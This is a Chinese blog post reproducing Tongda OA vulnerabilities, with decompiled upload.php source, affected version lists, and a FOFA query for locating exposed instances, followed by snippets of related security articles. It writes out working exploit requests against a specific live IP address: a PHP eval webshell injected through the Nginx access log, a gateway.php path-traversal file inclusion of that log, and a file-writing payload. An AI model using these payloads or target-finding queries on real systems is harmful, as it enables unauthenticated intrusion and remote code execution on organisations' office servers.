jjzjj

漏洞复现-通达OA

amingMM 2023-07-20 原文

通达OA

通达OA 网络智能办公系统 是由北京通达信科科技有限公司开发的一款办公系统
采用基于WEB的企业计算,
主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠。
数据存取集中控制,避免了数据泄漏的可能。
提供数据备份工具,保护系统数据安全。
多级的权限控制,完善的密码验证与登录验证机制更加强了系统安全性。

自主研发的协同办公自动化软件,
是与中国企业管理实践相结合形成的综合管理办公平台
2015年,通达云OA入驻阿里云企业应用专区,为众多中小企业提供稳定、可靠的云计算支撑

通达OA可供用户免费下载使用,安装简单,默认安装了Nginx、mysql等服务,
系统默认由System权限启动

360安全大脑-Quake网络空间测绘系统通过对全网资产测绘

1:未授权文件上传 + 文件包含姿势

2:Nginx日志 + 文件包含

http://www.360doc.com/content/20/0405/19/64353657_904057447.shtml
58.56.254.122:8081/<?php@eval($_POST['aming']);?>

http://58.56.254.122:8081/ispirit/interface/gateway.php?json={}&url=…/…/ispirit/…/…/nginx/logs/oa.access.log

http://cn-sec.com/archives/498043.html
http://58.56.254.122:8081/ispirit/interface/gateway.php?json={}&aa=<?php file_put_contents('1.php','hello world');?>

通达OA2017,V11.X<V11.5
通达oa远程命令执行:影响的版本有:V11版,2017版,2016版,2015版,2013增强版,2013版。

app=“通达OA” body=" static/images/tongda.ico"


http://www.dennis.org.cn/

https://blog.csdn.net/szgyunyun/article/details/107104288

https://blog.csdn.net/blue_fantasy/article/details/122403451

https://blog.csdn.net/weixin_44831109/article/details/123841373

https://blog.csdn.net/qq_29443517/article/details/106275093

CNVD:CNVD-2020-26562

未授权的情况下可上传图片木马文件
精心构造的请求进行文件包含,实现远程命令执行,且攻击者无须登陆认证即可完成攻击

影响范围
通达OA V11版 <= 11.3 20200103
通达OA 2017版 <= 10.19 20190522
通达OA 2016版 <= 9.13 20170710
通达OA 2015版 <= 8.15 20160722
通达OA 2013增强版 <= 7.25 20141211
通达OA 2013版 <= 6.20 20141017

V11版 2017版 2016版 2015版 2013增强版2013版
未授权上传文件
\ispirit\im\upload.php

<?php

set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') {
 ob_start();
 include_once 'inc/session.php';
 session_id($P);
 session_start();
 session_write_close();
} else {
 include_once './auth.php';
}
include_once 'inc/utility_file.php';
include_once 'inc/utility_msg.php';
include_once 'mobile/inc/funcs.php';
ob_end_clean();
$TYPE = $_POST['TYPE'];
$DEST_UID = $_POST['DEST_UID'];
$dataBack = array();
if ($DEST_UID != '' && !td_verify_ids($ids)) {
 $dataBack = array('status' => 0, 'content' => '-ERR ' . 
 _('接收
 方ID无效'));
 echo json_encode(data2utf8($dataBack));
 exit;
}
if (strpos($DEST_UID, ',') !== false) {
} else {
 $DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
 if ($UPLOAD_MODE != 2) {
 $dataBack = array('status' => 0, 'content' => '-ERR ' . 
 _('接收方ID无效'));
 echo json_encode(data2utf8($dataBack));
 exit;
 }
}
$MODULE = 'im';
if (1 <= count($_FILES)) {
 if ($UPLOAD_MODE == '1') {
 if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) != 
 strlen($_FILES['ATTACHMENT']['name'])) {
 $_FILES['ATTACHMENT']['name'] = 
 urldecode($_FILES['ATTACHMENT']['name']);
 }
 }
 $ATTACHMENTS = upload('ATTACHMENT', $MODULE, false);
 if (!is_array($ATTACHMENTS)) {
 $dataBack = array('status' => 0, 'content' => '-ERR ' . 
 $ATTACHMENTS);
 echo json_encode(data2utf8($dataBack));
 exit;
 }
 ob_end_clean();
 $ATTACHMENT_ID = substr($ATTACHMENTS['ID'], 0, -1);
 $ATTACHMENT_NAME = substr($ATTACHMENTS['NAME'], 0, -1);
 if ($TYPE == 'mobile') {
 $ATTACHMENT_NAME = 
 td_iconv(urldecode($ATTACHMENT_NAME), 
 'utf-8', MYOA_CHARSET);
 }
} else {
 $dataBack = array('status' => 0, 'content' => '-ERR ' . 
 _('无文
 件上传'));
 echo json_encode(data2utf8($dataBack));
 exit;
}
$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, 
$MODULE);
if (!$FILE_SIZE) {
 $dataBack = array('status' => 0, 'content' => '-ERR ' . 
 _('文件
 上传失败'));
 echo json_encode(data2utf8($dataBack));
 exit;
}
if ($UPLOAD_MODE == '1') {
 if (is_thumbable($ATTACHMENT_NAME)) {
 $FILE_PATH = attach_real_path($ATTACHMENT_ID, 
 $ATTACHMENT_NAME, $MODULE);
 $THUMB_FILE_PATH = substr($FILE_PATH, 0, 
 strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 
 'thumb_' 
 . $ATTACHMENT_NAME;
 CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
 }
 $P_VER = is_numeric($P_VER) ? intval($P_VER) : 0;
 $MSG_CATE = $_POST['MSG_CATE'];
 if ($MSG_CATE == 'file') {
 $CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . 
 $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
 } else {
 if ($MSG_CATE == 'image') {
 $CONTENT = '[im]' . $ATTACHMENT_ID . '|' . 
 $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/im]';
 } else {
 $DURATION = intval($DURATION);
 $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . 
 $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
 }
 }
 $AID = 0;
 $POS = strpos($ATTACHMENT_ID, '@');
 if ($POS !== false) {
 $AID = intval(substr($ATTACHMENT_ID, 0, $POS));
 }
 $query = 'INSERT INTO im_offline_file 
 (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values 
 (\'' . date('Y-m-d H:i:s') . '\',\'' . 
 $_SESSION['LOGIN_UID'] 
 . '\',\'' . $DEST_UID . '\',\'*' . $ATTACHMENT_ID . '.' . 
 $ATTACHMENT_NAME . '\',\'' . $FILE_SIZE . '\',\'0\',\'' . 
 $AID 
 . '\')';
 $cursor = exequery(TD::conn(), $query);
 $FILE_ID = mysql_insert_id();
 if ($cursor === false) {
 $dataBack = array('status' => 0, 'content' => '-ERR ' . 
 _('数据库操作失败'));
 echo json_encode(data2utf8($dataBack));
 exit;
 }
 $dataBack = array('status' => 1, 'content' => $CONTENT, 
 'file_id' => $FILE_ID);
 echo json_encode(data2utf8($dataBack));
 exit;
} else {
 if ($UPLOAD_MODE == '2') {
 $DURATION = intval($_POST['DURATION']);
 $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . 
 $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
 $query = 'INSERT INTO WEIXUN_SHARE (UID, CONTENT, 
 ADDTIME) 
 VALUES (\'' . $_SESSION['LOGIN_UID'] . '\', \'' . 
 $CONTENT 
 . '\', \'' . time() . '\')';
 $cursor = exequery(TD::conn(), $query);
 echo '+OK ' . $CONTENT;
 } else {
 if ($UPLOAD_MODE == '3') {
 if (is_thumbable($ATTACHMENT_NAME)) {
 $FILE_PATH = attach_real_path($ATTACHMENT_ID, 
 $ATTACHMENT_NAME, $MODULE);
 $THUMB_FILE_PATH = substr($FILE_PATH, 0, 
 strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) 
 . 'thumb_' . $ATTACHMENT_NAME;
 CreateThumb($FILE_PATH, 320, 240, 
 $THUMB_FILE_PATH);
 }
 echo '+OK ' . $ATTACHMENT_ID;
 } else {
 $CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . 
 $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
 $msg_id = send_msg($_SESSION['LOGIN_UID'], 
 $DEST_UID, 
 1, $CONTENT, '', 2);
 $query = 'insert into IM_OFFLINE_FILE 
 (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) 
 values (\'' . date('Y-m-d H:i:s') . '\',\'' . 
 $_SESSION['LOGIN_UID'] . '\',\'' . $DEST_UID . 
 '\',\'*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME 
 . '\',\'' . $FILE_SIZE . '\',\'0\')';
 $cursor = exequery(TD::conn(), $query);
 $FILE_ID = mysql_insert_id();
 if ($cursor === false) {
 echo '-ERR ' . _('数据库操作失败');
 exit;
 }
 if ($FILE_ID == 0) {
 echo '-ERR ' . _('数据库操作失败2');
 exit;
 }
 echo '+OK ,' . $FILE_ID . ',' . $msg_id;
 exit;
 }
 }
}

源码采用了zend加密,解密后才能正常阅读代码

第一个if(第5行)对P进行了判断,只要传递了参数P或者不为空,就可以进入下面的语句,
如果判断失败,就进入else,也就是身份认证功能

 function upload($PREFIX = 'ATTACHMENT', $MODULE = '', $OUTPUT = 
true)
{
 if (strstr($MODULE, '/') || strstr($MODULE, '\\')) {
 if (!$OUTPUT) {
 return _('参数含有非法字符。');
 }
 Message(_('错误'), _('参数含有非法字符。'));
 exit;
 }
 $ATTACHMENTS = array('ID' => '', 'NAME' => '');
 reset($_FILES);
 foreach ($_FILES as $KEY => $ATTACHMENT) {
 if ($ATTACHMENT['error'] == 4 || $KEY != $PREFIX && 
 substr($KEY, 0, strlen($PREFIX) + 1) != $PREFIX . '_') 
 {
 continue;
 }
 $data_charset = isset($_GET['data_charset']) ?
 $_GET['data_charset'] : (isset($_POST['data_charset'])?
 $_POST['data_charset'] : '');
 $ATTACH_NAME = $data_charset != ''? 
 td_iconv($ATTACHMENT['name'], $data_charset, 
 MYOA_CHARSET) : $ATTACHMENT['name'];
 $ATTACH_SIZE = $ATTACHMENT['size'];
 $ATTACH_ERROR = $ATTACHMENT['error'];
 $ATTACH_FILE = $ATTACHMENT['tmp_name'];
 $ERROR_DESC = '';
 if ($ATTACH_ERROR == UPLOAD_ERR_OK) {
 if (!is_uploadable($ATTACH_NAME)) {
 $ERROR_DESC = sprintf(_('禁止上传后缀名为[%s]的文
 件'), substr($ATTACH_NAME, 
 strrpos($ATTACH_NAME, '.') + 1));
 }
 $encode = mb_detect_encoding($ATTACH_NAME, 
 array('ASCII', 'UTF-8', 'GB2312', 'GBK', 'BIG5'));
 if ($encode != 'UTF-8') {
 $ATTACH_NAME_UTF8 = 
 mb_convert_encoding($ATTACH_NAME, 'utf-8', 
 MYOA_CHARSET);
 } else {
 $ATTACH_NAME_UTF8 = $ATTACH_NAME;
 }
 if (preg_match('/[\\\':<>?]|\\/|\\\\|"|\\|/u', 
 $ATTACH_NAME_UTF8)) {
 $ERROR_DESC = sprintf(_('文件名[%s]包含
 [/\\\'":*?<>|]等非法字符'), $ATTACH_NAME);
 }
 if ($ATTACH_SIZE == 0) {
 $ERROR_DESC = sprintf(_('文件[%s]大小为0字节'), 
 $ATTACH_NAME);
 }
 if ($ERROR_DESC == '') {
 $ATTACH_NAME = str_replace('\'', '', 
 $ATTACH_NAME);
 $ATTACH_ID = add_attach($ATTACH_FILE, 
 $ATTACH_NAME, $MODULE);
 if ($ATTACH_ID === false) {
 $ERROR_DESC = sprintf(_('文件[%s]上传失败'), 
 $ATTACH_NAME);
 } else {
 $ATTACHMENTS['ID'] .= $ATTACH_ID . ',';
 $ATTACHMENTS['NAME'] .= $ATTACH_NAME . '*';
 }
 }
 @unlink($ATTACH_FILE);
 } else {
 if ($ATTACH_ERROR == UPLOAD_ERR_INI_SIZE) {
 $ERROR_DESC = sprintf(_('文件[%s]的大小超过了系统
 限制
(%s)'), $ATTACH_NAME, ini_get('upload_max_filesize'));
 } else {
 if ($ATTACH_ERROR == UPLOAD_ERR_FORM_SIZE) {
 $ERROR_DESC = sprintf(_('文件[%s]的大小超过
 了表
单限制'), $ATTACH_NAME);
 } else {
 if ($ATTACH_ERROR == UPLOAD_ERR_PARTIAL) {
 $ERROR_DESC = sprintf(_('文件[%s]上传不
 完整'), $ATTACH_NAME);
 } else {
 if ($ATTACH_ERROR == 
 UPLOAD_ERR_NO_TMP_DIR) {
 $ERROR_DESC = sprintf(_('文件[%s]上
 传失败:找不到临时文件夹'), 
 $ATTACH_NAME);
 } else {
 if ($ATTACH_ERROR == U
 PLOAD_ERR_CANT_WRITE) {
 $ERROR_DESC = sprintf(_('文件
 [%s]写入失败'), $ATTACH_NAME);
 } else {
 $ERROR_DESC = sprintf(_('未知错
 误[代码:%s]'), $ATTACH_ERROR);
 }
 }
 }
 }
 }
 }
 if ($ERROR_DESC != '') {
 if (!$OUTPUT) {
 delete_attach($ATTACHMENTS['ID'], 
 $ATTACHMENTS['NAME'], $MODULE);
 return $ERROR_DESC;
 } else {
 Message(_('错误'), $ERROR_DESC);
 }
 }
 }
 return $ATTACHMENTS;
}

https://blog.csdn.net/weixin_45728976/article/details/105166034
https://blog.csdn.net/hackzkaq/article/details/115900500

11.5 sql注入漏洞复现

前提登录
https://www.csdn.net/tags/MtTaEgwsMTU3NzMzLWJsb2cO0O0O.html

2017 11.x<11.5任意用户未授权

https://blog.csdn.net/qq_45290991/article/details/120212257

有关漏洞复现-通达OA的更多相关文章

  1. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  2. 什么是0day漏洞?如何预防0day攻击? - 2

    什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相

  3. micropython复现经典单片机项目(二)可视化音频 频谱解析(基本搞定) - 2

    本人是音乐爱好者,从小就特别喜欢那个随着音乐跳动的方框效果,就是这个:arduino上一大把对,我忍你很久了,我就想用mpy做,全网没有,行我自己研究。果然兴趣是最好的老师,我之前有篇博客专门讲音频,有兴趣的可以回顾一下。提到可视化频谱,必然绕不开fft,大学学过这玩意,当时一心玩,老师讲的一个字都么听进去,网上教程简略扫了一下,大该就是把时域转频域的工具,我大mpy居然没有fft函数,奶奶的,先放着。音频信息如何收集?第一种傻瓜式的ADC,模拟转数字,原始粗暴,第二种,I2S库,我之前博客有讲过,数据是PCM编码。然后又去学PCM编码,一学豁然开朗,舒服,以代码为例:audio_in=I2S

  4. ruby - $SAFE >= 1 的 ruby​​ 中可能存在哪些漏洞? - 2

    Ruby'ssafemode不允许通过潜在危险的操作使用受污染的数据。它的级别各不相同,0表示禁用,然后1-4表示安全级别。启用安全模式时可能存在哪些漏洞?您知道在启用安全模式时发给ruby​​程序的任何CVE编号吗?什么CWEViolations(或cwe系列)是否可以启用安全模式? 最佳答案 所有应用程序级别的漏洞都完全不受$SAFE级别的影响。不通过“不安全操作”的注入(inject)攻击,例如跨站点脚本和SQL注入(inject)。这或多或少包括Web应用程序的每个漏洞类别,可能除了本地和远程文件包含。查看OWASPTop1

  5. Wordpress漏洞复现 - 2

    漏洞复现cms漏洞环境搭建漏洞复现cms1.内容管理系统(contentmanagementsystem,CMS),是一种位于WEB前端(Web服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。2.常见的cms系统国外的:Wordpress,Drupal,Joomla,这是国外最流行的3大CMS。国内则是DedeCMS和帝国,PHPCMS等。漏洞环境搭建一、

  6. javascript - CSRF 漏洞/cookie 问题 - 2

    只是想从认识的人那里得到意见。我正在考虑CSRF漏洞,以及我所知道的似乎最流行的对抗它的方法。该方法是在返回的html中创建一个token,并添加一个具有相同值的cookie。因此,如果脚本尝试发帖,他们将必须猜测网页中嵌入的token才能成功。但如果他们针对特定网站,为什么他们不能只使用一个脚本在页面上调用get(即使脚本无法访问它也会返回cookie)解析html并获取token调用其中包含该token的帖子(返回的cookie将被发回)他们在用户不知情的情况下成功提交了表单脚本不需要知道cookie的内容,它只是利用cookie一直来回发送这一事实。我在这里错过了什么?这不可能吗

  7. javascript - Scripts文件夹有漏洞? - 2

    在我的.NETWeb应用程序中,我通常有一个Scripts文件夹,其中包含我所有的JavaScript文件-现在主要是jQuery,偶尔还有某种JavaScript库。我正在通过名为Nexpose的扫描器对我的一个网站运行漏洞扫描,它告诉我Scripts文件夹向全世界开放-这意味着未经身份验证的用户可以下载文件夹中包含的JavaScript文件,这是一个严重的漏洞。根据Nexpose的说法,Scripts文件夹应该被限制为只允许经过身份验证的用户访问它。这引出了我的第一个问题。我如何将Scripts文件夹限制为仅经过身份验证的用户?我尝试将web.config文件放入Scripts文件

  8. OpenSSL安全特征问题漏洞(CVE-2022-2068)版本1.0.2k-fips升级到3.0.5 - 2

    一、检查openssl版本opensslversion影响范围OpenSSL3.0.0版本:3.0.0、3.0.1、3.0.2、3.0.3OpenSSL1.1.1版本:1.1.1-1.1.1oOpenSSL1.0.2版本:1.0.2-1.0.2ze目前OpenSSL项目已经修复了这些漏洞,受影响用户可以更新到以下版本:OpenSSL3.0.0:升级至3.0.4OpenSSL1.1.1:升级至1.1.1pOpenSSL1.0.2:升级至1.0.2zf新版本下载链接https://www.openssl.org/source/也可以可以连互联网在线下载wgethttps://www.openssl

  9. python——脚本实现检测目标ip是否存在ftp笑脸漏洞(ftp后门漏洞) - 2

    警告请勿使用本文提到的内容违反法律。本文不提供任何担保 一、漏洞介绍        vsftpd2.3.4中在6200端口存在一个shell,使得任何人都可以进行连接,并且VSFTPDv2.3.4服务,是以root权限运行的,最终我们提到的权限也是root;当连接带有vsftpd2.3.4版本的服务器的21端口时,输入用户中带有“:)”,密码任意,因此也称为笑脸漏洞。二、环境搭建攻击机(本机):192.168.1.3靶机(metaspolit2):192.168.1.5三、nmap进行漏洞检测(四)python脚本进行漏洞检测代码如下:importsocketfromftplibimportF

  10. javascript - 漏洞 : Google Drive Picker stopped loading today - 2

    在我们的应用程序中成功使用DrivePicker已经将近一年了。几周前,选择器出现问题,促使升级到最新的JSapi。直到今天早上一切都很好。现在选择器不会加载,我收到以下错误。UncaughtError:Incorrectoriginvalue.Pleasesetitto-(window.location.protocol+'//'+window.location.host)ofthetop-mostpage1610138292-picker_modularized_opc.js:821RT1610138292-picker_modularized_opc.js:821_createP

随机推荐